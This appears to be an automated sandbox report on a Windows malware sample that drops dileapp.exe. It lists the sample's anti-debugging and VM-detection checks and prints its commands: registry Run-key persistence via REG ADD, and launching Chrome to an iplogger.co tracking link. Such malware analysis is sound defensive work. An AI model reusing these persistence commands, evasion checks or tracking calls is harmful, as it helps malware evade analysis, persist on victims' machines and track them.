Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 126323D second address: 1263279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pushad 0x00000007 jo 00007FCCB120DFDAh 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 js 00007FCCB120DFDEh 0x00000017 ja 00007FCCB120DFD6h 0x0000001d push edx 0x0000001e pop edx 0x0000001f pushad 0x00000020 jl 00007FCCB120DFD6h 0x00000026 jng 00007FCCB120DFD6h 0x0000002c jmp 00007FCCB120DFDBh 0x00000031 popad 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1263279 second address: 1263283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FCCB0D02D06h 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1263A62 second address: 1263A91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB0D02D13h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FCCB0D02D0Fh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1279FEB second address: 127A000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB120DFDFh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 127C9F1 second address: 127CA16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB0D02D12h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jbe 00007FCCB0D02D06h 0x00000014 push eax 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 128631D second address: 128632C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FCCB120DFD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 128C6C4 second address: 128C6D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCCB0D02D0Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 128C4CC second address: 128C4EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FCCB0D02D06h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 128C4EB second address: 128C519 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007FCCB120DFF1h 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007FCCB120DFE9h 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 128C519 second address: 128C523 instructions: 0x00000000 rdtsc 0x00000002 js 00007FCCB0D02D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1294806 second address: 129481B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB120DFE0h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 129340E second address: 129341F instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCCB120DFD6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1293863 second address: 129386D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FCCB0D02D06h 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12A0485 second address: 12A049B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jmp 00007FCCB0D02D0Fh 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12BCEA4 second address: 12BCEBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCCB0D02D0Dh 0x00000009 jp 00007FCCB0D02D06h 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12BCEBF second address: 12BCEDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FCCB0D02D18h 0x00000010 push esi 0x00000011 jmp 00007FCCB0D02D0Ah 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D4340 second address: 12D4371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FCCB0D02D06h 0x0000000a pop esi 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 pushad 0x00000011 jmp 00007FCCB0D02D0Fh 0x00000016 jne 00007FCCB0D02D0Ch 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D473B second address: 12D4757 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FCCB120DFDCh 0x00000010 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D4763 second address: 12D476D instructions: 0x00000000 rdtsc 0x00000002 jg 00007FCCB0D02D0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D4C2C second address: 12D4C47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D11h 0x00000007 je 00007FCCB0D02D12h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D8F56 second address: 12D8F71 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCCB120DFDCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnp 00007FCCB120DFE8h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D91FF second address: 12D9272 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCCB120DFDCh 0x00000008 jc 00007FCCB120DFD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 call 00007FCCB120DFDAh 0x00000018 mov dword ptr [ebp+1376B668h], ebx 0x0000001e pop edx 0x0000001f push 00000004h 0x00000021 push 00000000h 0x00000023 push ebp 0x00000024 call 00007FCCB120DFD8h 0x00000029 pop ebp 0x0000002a mov dword ptr [esp+04h], ebp 0x0000002e add dword ptr [esp+04h], 0000001Bh 0x00000036 inc ebp 0x00000037 push ebp 0x00000038 ret 0x00000039 pop ebp 0x0000003a ret 0x0000003b mov edx, 4894D800h 0x00000040 mov edx, 45814DE9h 0x00000045 call 00007FCCB120DFD9h 0x0000004a jl 00007FCCB120DFE0h 0x00000050 jmp 00007FCCB120DFDAh 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D9276 second address: 12D9280 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FCCB120DFD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12D9280 second address: 12D92CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D15h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push edi 0x0000000e jmp 00007FCCB0D02D0Eh 0x00000013 pop edi 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FCCB0D02D18h 0x0000001f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 4E7032C second address: 4E70332 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 4E70332 second address: 4E70336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11EE6A1 second address: 11EE710 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FCCB0D02D0Ch 0x00000008 jnc 00007FCCB0D02D06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007FCCB0D02D08h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push edx 0x00000030 call 00007FCCB0D02D08h 0x00000035 pop edx 0x00000036 mov dword ptr [esp+04h], edx 0x0000003a add dword ptr [esp+04h], 0000001Ch 0x00000042 inc edx 0x00000043 push edx 0x00000044 ret 0x00000045 pop edx 0x00000046 ret 0x00000047 push 00000000h 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d jmp 00007FCCB0D02D0Eh 0x00000052 pushad 0x00000053 popad 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F083C second address: 11F084F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jno 00007FCCB120DFD6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F0884 second address: 11F089A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007FCCB120DFD6h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11EB4AA second address: 11EB4CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FCCB0D02D18h 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F8143 second address: 11F8175 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCCB120DFE8h 0x00000008 jmp 00007FCCB120DFDEh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 123953A second address: 1239544 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FCCB120DFE2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1242D66 second address: 1242D74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FCCB120DFDCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12623E1 second address: 12623FF instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCCB0D02D08h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FCCB0D02D0Fh 0x00000012 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 128C4EB second address: 128C519 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007FCCB0D02D21h 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 56802E4 second address: 5680314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FCCB120DFE5h 0x0000000a xor ch, FFFFFFD6h 0x0000000d jmp 00007FCCB120DFE1h 0x00000012 popfd 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 5680314 second address: 5680329 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 mov dx, si 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 5680329 second address: 568032D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\Public\Netstat\dileapp.exe	Special instruction interceptor: First address: 1028A0E instructions caused by: Self-modifying code
Source: C:\Users\Public\Netstat\dileapp.exe	Special instruction interceptor: First address: 1028AE0 instructions caused by: Self-modifying code
Source: C:\Users\Public\Netstat\dileapp.exe	Special instruction interceptor: First address: 11DD0BC instructions caused by: Self-modifying code
Source: C:\Users\Public\Netstat\dileapp.exe	Special instruction interceptor: First address: 127055A instructions caused by: Self-modifying code

Source: C:\Users\Public\Netstat\dileapp.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\Public\Netstat\dileapp.exe TID: 7804	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe TID: 7804	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe TID: 8132	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe TID: 8128	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe TID: 2084	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe TID: 2084	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe TID: 7668	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe TID: 7668	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\Public\Netstat\dileapp.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\Public\Netstat\dileapp.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\Public\Netstat\dileapp.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\Public\Netstat\dileapp.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0079A273 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		0_2_0079A273
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007AA537 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		0_2_007AA537

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007AC8D5 VirtualQuery,GetSystemInfo,

0_2_007AC8D5

Source: dileapp.exe, dileapp.exe, 0000000F.00000002.2133477904.00000000011BB000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1650610820.00000000014F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: dileapp.exe, 0000000F.00000003.2132165164.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000002.2133135957.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2132518246.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%
Source: file.exe, 00000000.00000002.1650610820.00000000014F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: dileapp.exe, 00000005.00000002.1749018639.0000000001538000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000005.00000003.1740218351.0000000001576000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000005.00000002.1749018639.0000000001576000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000009.00000002.1969913350.000000000099C000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1969012358.000000000099C000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000002.2052375189.0000000001ABB000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000002.2052375189.0000000001A7F000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.2050545971.0000000001ABB000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.2050545971.0000000001A7F000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2132165164.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2132165164.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: dileapp.exe, 00000005.00000002.1749018639.000000000155A000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000005.00000003.1740218351.000000000155A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWj
Source: file.exe	Binary or memory string: vmCI$
Source: dileapp.exe, 00000009.00000003.1969012358.000000000095F000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000009.00000002.1969913350.000000000095F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(p
Source: dileapp.exe, 00000005.00000002.1748276179.00000000011BB000.00000040.00000001.01000000.00000009.sdmp, dileapp.exe, 00000009.00000002.1970769378.00000000011BB000.00000040.00000001.01000000.00000009.sdmp, dileapp.exe, 0000000C.00000002.2051325861.00000000011BB000.00000040.00000001.01000000.00000009.sdmp, dileapp.exe, 0000000F.00000002.2133477904.00000000011BB000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: dileapp.exe, 00000009.00000002.1969913350.000000000098F000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1969012358.000000000098F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%H

Source: C:\Users\user\Desktop\file.exe

API call chain: ExitProcess graph end node

graph_0-22647

Source: C:\Users\Public\Netstat\dileapp.exe

System information queried: ModuleInformation

Source: C:\Users\Public\Netstat\dileapp.exe

Process information queried: ProcessInformation

Hides threads from debuggers

Anti Debugging

Source: C:\Users\Public\Netstat\dileapp.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\Public\Netstat\dileapp.exe	Open window title or class name: regmonclass
Source: C:\Users\Public\Netstat\dileapp.exe	Open window title or class name: gbdyllo
Source: C:\Users\Public\Netstat\dileapp.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\Public\Netstat\dileapp.exe	Open window title or class name: procmon_window_class
Source: C:\Users\Public\Netstat\dileapp.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\Public\Netstat\dileapp.exe	Open window title or class name: ollydbg
Source: C:\Users\Public\Netstat\dileapp.exe	Open window title or class name: filemonclass
Source: C:\Users\Public\Netstat\dileapp.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\Public\Netstat\dileapp.exe	File opened: NTICE
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: SICE
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: SIWVID

Source: C:\Users\Public\Netstat\dileapp.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007ADA75 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_007ADA75

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007B4A5A mov eax, dword ptr fs:[00000030h]

0_2_007B4A5A

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007B8AAA GetProcessHeap,

0_2_007B8AAA

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007ADA75 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_007ADA75
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B5B53 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_007B5B53
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007ADBC3 SetUnhandledExceptionFilter,	0_2_007ADBC3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007ADD7C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_007ADD7C

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\s.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\dileapp.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\dileapp.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\Netstat\dileapp.exe C:\Users\Public\Netstat\dileapp.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.co/1tJFB4	Jump to behavior

Source: dileapp.exe	Binary or memory string: ,}kProgram Manager
Source: dileapp.exe, 00000009.00000002.1970769378.00000000011BB000.00000040.00000001.01000000.00000009.sdmp, dileapp.exe, 0000000F.00000002.2133477904.00000000011BB000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: ,}kProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007AD8CB cpuid

0_2_007AD8CB

Source: C:\Users\user\Desktop\file.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

0_2_007A932F

Source: C:\Users\Public\Netstat\dileapp.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007AC131 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,DeleteObject,CloseHandle,

0_2_007AC131

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0079A8E0 GetVersionExW,

0_2_0079A8E0

Source: C:\Users\Public\Netstat\dileapp.exe

